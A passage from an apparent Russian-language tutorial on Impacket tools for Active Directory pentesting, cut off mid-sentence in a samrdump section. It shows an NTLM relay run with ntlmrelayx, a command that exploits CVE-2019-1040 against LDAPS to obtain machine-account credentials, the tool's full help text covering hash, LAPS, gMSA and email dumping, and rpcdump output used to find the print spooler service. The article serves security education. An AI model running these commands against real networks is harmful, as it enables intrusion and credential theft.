[*] Protocol Client HTTPS loaded..
[*] Protocol Client SMB loaded..
[*] Protocol Client RPC loaded..
[*] Protocol Client LDAP loaded..
[*] Protocol Client LDAPS loaded..
[+] Protocol Attack HTTP loaded..
[+] Protocol Attack HTTPS loaded..
[+] Protocol Attack SMB loaded..
[+] Protocol Attack MSSQL loaded..
[+] Protocol Attack IMAP loaded..
[+] Protocol Attack IMAPS loaded..
[+] Protocol Attack DCSYNC loaded..
[+] Protocol Attack RPC loaded..
[+] Protocol Attack LDAP loaded..
[+] Protocol Attack LDAPS loaded..
[*] Running in relay mode to single host
[*] Setting up SMB Server
[*] Setting up HTTP Server on port 80
[*] Setting up WCF Server
[*] Setting up RAW Server on port 6666
[*] Servers started, waiting for connections
Если в сети протекает нужная активность и скрипт её зафиксирует, то можно увидеть примерно следующее:
[*] SMBD-Thread-10: Received connection from 192.168.18.13, attacking target smb://192.168.1.13
[-] Signing is required, attack won't work unless using -remove-target / --remove-mic
[*] Authenticating against smb://192.168.1.13 as AD/RUVDS-PC$ SUCCEED
[*] SOCKS: Adding AD/RUVDS-PC$@192.168.1.13(445) to active SOCKS connection. Enjoy
[+] Checking admin status for user AD/RUVDS-PC$
[+] isAdmin returned: FALSE
socks
Protocol Target Username AdminStatus Port
-------- ------------ ----------- ----------- ----
SMB 192.168.1.13 AD/RUVDS-PC$ FALSE 445
ntlmrelayx> [+] KeepAlive Timer reached. Updating connections
[+] Calling keepAlive() for AD/RUVDS-PC$@192.168.1.13:445
Если существует возможность проведения атаки NTLM Relay на LDAPS-сервер, то можно попробовать поэксплуатировать уязвимость CVE-2019–1040 и получить креды (имя и пароль) сгенерированной учётной записи компьютера (совсем не давно подробнее эта тема рассматривалась коллегами по Хабру):
python3 ntlmrelayx.py -t ldaps://192.168.1.13 --remove-mic --delegate-access
usage: ntlmrelayx.py [-h] [-ts] [-debug] [-t TARGET] [-tf TARGETSFILE] [-w]
[-i] [-ip INTERFACE_IP] [--no-smb-server]
[--no-http-server] [--no-wcf-server] [--no-raw-server]
[--smb-port SMB_PORT] [--http-port HTTP_PORT]
[--wcf-port WCF_PORT] [--raw-port RAW_PORT]
[--no-multirelay] [-ra] [-r SMBSERVER] [-l LOOTDIR]
[-of OUTPUT_FILE] [-codec CODEC] [-smb2support]
[-ntlmchallenge NTLMCHALLENGE] [-socks] [-wh WPAD_HOST]
[-wa WPAD_AUTH_NUM] [-6] [--remove-mic]
[--serve-image SERVE_IMAGE] [-c COMMAND] [-e FILE]
[--enum-local-admins] [-rpc-mode {TSCH}] [-rpc-use-smb]
[-auth-smb [domain/]username[:password]]
[-hashes-smb LMHASH:NTHASH] [-rpc-smb-port {139,445}]
[-q QUERY] [-machine-account MACHINE_ACCOUNT]
[-machine-hashes LMHASH:NTHASH] [-domain DOMAIN]
[-remove-target] [--no-dump] [--no-da] [--no-acl]
[--no-validate-privs] [--escalate-user ESCALATE_USER]
[--add-computer [COMPUTERNAME [PASSWORD ...]]]
[--delegate-access] [--sid] [--dump-laps] [--dump-gmsa]
[--dump-adcs] [-k KEYWORD] [-m MAILBOX] [-a]
[-im IMAP_MAX] [--adcs] [--template TEMPLATE]
[--altname ALTNAME] [--shadow-credentials]
[--shadow-target SHADOW_TARGET]
[--pfx-password PFX_PASSWORD] [--export-type {PEM, PFX}]
[--cert-outfile-path CERT_OUTFILE_PATH]
Main options:
-h, --help show this help message and exit
-ts Adds timestamp to every logging output
-debug Turn DEBUG output ON
-t TARGET, --target TARGET
Target to relay the credentials to, can be an IP,
hostname or URL like domain\username@host:port
(domain\username and port are optional, and don't
forget to escape the '\'). If unspecified, it will
relay back to the client')
-tf TARGETSFILE File that contains targets by hostname or full URL,
one per line
-w Watch the target file for changes and update target
list automatically (only valid with -tf)
-i, --interactive Launch an smbclient or LDAP console insteadof
executing a command after a successful relay. This
console will listen locally on a tcp port and can be
reached with for example netcat.
-ip INTERFACE_IP, --interface-ip INTERFACE_IP
IP address of interface to bind SMB and HTTP servers
--smb-port SMB_PORT Port to listen on smb server
--http-port HTTP_PORT
Port(s) to listen on HTTP server. Can specify multiple
ports by separating them with `,`, and ranges with
`-`. Ex: `80,8000-8010`
--wcf-port WCF_PORT Port to listen on wcf server
--raw-port RAW_PORT Port to listen on raw server
--no-multirelay If set, disable multi-host relay (SMB and HTTP
servers)
-ra, --random Randomize target selection
-r SMBSERVER Redirect HTTP requests to a file:// path on SMBSERVER
-l LOOTDIR, --lootdir LOOTDIR
Loot directory in which gathered loot such as SAM
dumps will be stored (default: current directory).
-of OUTPUT_FILE, --output-file OUTPUT_FILE
base output filename for encrypted hashes. Suffixes
will be added for ntlm and ntlmv2
-codec CODEC Sets encoding used (codec) from the target's output
(default "utf-8"). If errors are detected, run
chcp.com at the target, map the result with https://do
cs.python.org/3/library/codecs.html#standard-encodings
and then execute ntlmrelayx.py again with -codec and
the corresponding codec
-smb2support SMB2 Support
-ntlmchallenge NTLMCHALLENGE
Specifies the NTLM server challenge used by the SMB
Server (16 hex bytes long. eg: 1122334455667788)
-socks Launch a SOCKS proxy for the connection relayed
-wh WPAD_HOST, --wpad-host WPAD_HOST
Enable serving a WPAD file for Proxy Authentication
attack, setting the proxy host to the one supplied.
-wa WPAD_AUTH_NUM, --wpad-auth-num WPAD_AUTH_NUM
Prompt for authentication N times for clients without
MS16-077 installed before serving a WPAD file.
(default=1)
-6, --ipv6 Listen on both IPv6 and IPv4
--remove-mic Remove MIC (exploit CVE-2019-1040)
--serve-image SERVE_IMAGE
local path of the image that will we returned to
clients
-c COMMAND Command to execute on target system (for SMB and RPC).
If not specified for SMB, hashes will be dumped
(secretsdump.py must be in the same directory). For
RPC no output will be provided.
--no-smb-server Disables the SMB server
--no-http-server Disables the HTTP server
--no-wcf-server Disables the WCF server
--no-raw-server Disables the RAW server
SMB client options:
-e FILE File to execute on the target system. If not
specified, hashes will be dumped (secretsdump.py must
be in the same directory)
--enum-local-admins If relayed user is not admin, attempt SAMR lookup to
see who is (only works pre Win 10 Anniversary)
RPC client options:
-rpc-mode {TSCH} Protocol to attack, only TSCH supported
-rpc-use-smb Relay DCE/RPC to SMB pipes
-auth-smb [domain/]username[:password]
Use this credential to authenticate to SMB (low-
privilege account)
-hashes-smb LMHASH:NTHASH
-rpc-smb-port {139,445}
Destination port to connect to SMB
MSSQL client options:
-q QUERY, --query QUERY
MSSQL query to execute(can specify multiple)
HTTP options:
-machine-account MACHINE_ACCOUNT
Domain machine account to use when interacting with
the domain to grab a session key for signing, format
is domain/machine_name
-machine-hashes LMHASH:NTHASH
Domain machine hashes, format is LMHASH:NTHASH
-domain DOMAIN Domain FQDN or IP to connect using NETLOGON
-remove-target Try to remove the target in the challenge message (in
case CVE-2019-1019 patch is not installed)
LDAP client options:
--no-dump Do not attempt to dump LDAP information
--no-da Do not attempt to add a Domain Admin
--no-acl Disable ACL attacks
--no-validate-privs Do not attempt to enumerate privileges, assume
permissions are granted to escalate a user via ACL
attacks
--escalate-user ESCALATE_USER
Escalate privileges of this user instead of creating a
new one
--add-computer [COMPUTERNAME [PASSWORD ...]]
Attempt to add a new computer account
--delegate-access Delegate access on relayed computer account to the
specified account
--sid Use a SID to delegate access rather than an account
name
--dump-laps Attempt to dump any LAPS passwords readable by the
user
--dump-gmsa Attempt to dump any gMSA passwords readable by the
user
--dump-adcs Attempt to dump ADCS enrollment services and
certificate templates info
IMAP client options:
-k KEYWORD, --keyword KEYWORD
IMAP keyword to search for. If not specified, will
search for mails containing "password"
-m MAILBOX, --mailbox MAILBOX
Mailbox name to dump. Default: INBOX
-a, --all Instead of searching for keywords, dump all emails
-im IMAP_MAX, --imap-max IMAP_MAX
Max number of emails to dump (0 = unlimited, default:
no limit)
AD CS attack options:
--adcs Enable AD CS relay attack
--template TEMPLATE AD CS template. Defaults to Machine or User whether
relayed account name ends with `$`. Relaying a DC
should require specifying `DomainController`
--altname ALTNAME Subject Alternative Name to use when performing ESC1
or ESC6 attacks.
Shadow Credentials attack options:
--shadow-credentials Enable Shadow Credentials relay attack (msDS-
KeyCredentialLink manipulation for PKINIT pre-
authentication)
--shadow-target SHADOW_TARGET
target account (user or computer$) to populate msDS-
KeyCredentialLink from
--pfx-password PFX_PASSWORD
password for the PFX stored self-signed certificate
(will be random if not set, not needed when exporting
to PEM)
--export-type {PEM, PFX}
choose to export cert+private key in PEM or PFX (i.e.
#PKCS12) (default: PFX))
--cert-outfile-path CERT_OUTFILE_PATH
filename to store the generated self-signed PEM or PFX
certificate and key
▍ rpcdump
Скрипт выводит информацию об удалённых точках RPC. За каждой из них отвечает свой исполняемый файл или динамически подгружаемая библиотека DLL:
python3 rpcdump.py admin:password@192.168.1.13
[*] Retrieving endpoint list from 192.168.1.13
Protocol: [MS-RSP]: Remote Shutdown Protocol
Provider: wininit.exe
UUID : D95AFE70-A6D5-4259-822E-2C84DA1DDB0D v1.0
Bindings:
ncacn_ip_tcp:192.168.1.13[49664]
ncalrpc:[WindowsShutdown]
ncacn_np:\\WIN-LIELOSOD7LK[\PIPE\InitShutdown]
ncalrpc:[WMsgKRpc068A60]
Protocol: N/A
Provider: winlogon.exe
UUID : 76F226C3-EC14-4325-8A99-6A46348418AF v1.0
Bindings:
ncalrpc:[WindowsShutdown]
ncacn_np:\\WIN-LIELOSOD7LK[\PIPE\InitShutdown]
ncalrpc:[WMsgKRpc068A60]
ncalrpc:[WMsgKRpc069221]
ncalrpc:[WMsgKRpc04BFBAD2]
...
[*] Received 458 endpoints.
Вывод будет громоздким, поэтому искать следует целенаправленно, например, подтвердить работу интересующей службы Print System Remote Protocol, которая может быть использована для проведения атаки:
rpcdump.py @192.168.1.10 | grep MS-RPRN
Protocol: [MS-RPRN]: Print System Remote Protocol
usage: rpcdump.py [-h] [-debug] [-target-ip ip address] [-port [destination port]] [-hashes LMHASH:NTHASH] target
positional arguments:
target [[domain/]username[:password]@]
optional arguments:
-h, --help show this help message and exit
-debug Turn DEBUG output ON
connection:
-target-ip ip address
IP Address of the target machine. If ommited it will use whatever was specified as target. This is useful when target is the NetBIOS name and you cannot
resolve it
-port [destination port]
Destination port to connect to RPC Endpoint Mapper
authentication:
-hashes LMHASH:NTHASH
NTLM hashes, format is LMHASH:NTHASH
▍ samrdump
Сценарий загружает список пользователей из целевой системы. Атрибут UID 5xx показывает интегрированные (предустановленные) учётные записи Windows Server. Ruvds, test и admin — учётные записи, созданные администратором домена. Порядок возрастания UID напрямую